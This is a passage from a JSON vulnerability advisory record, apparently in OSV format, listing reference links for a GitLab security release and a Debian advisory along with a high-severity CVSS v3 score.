      "url": "https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/32198"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4145"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}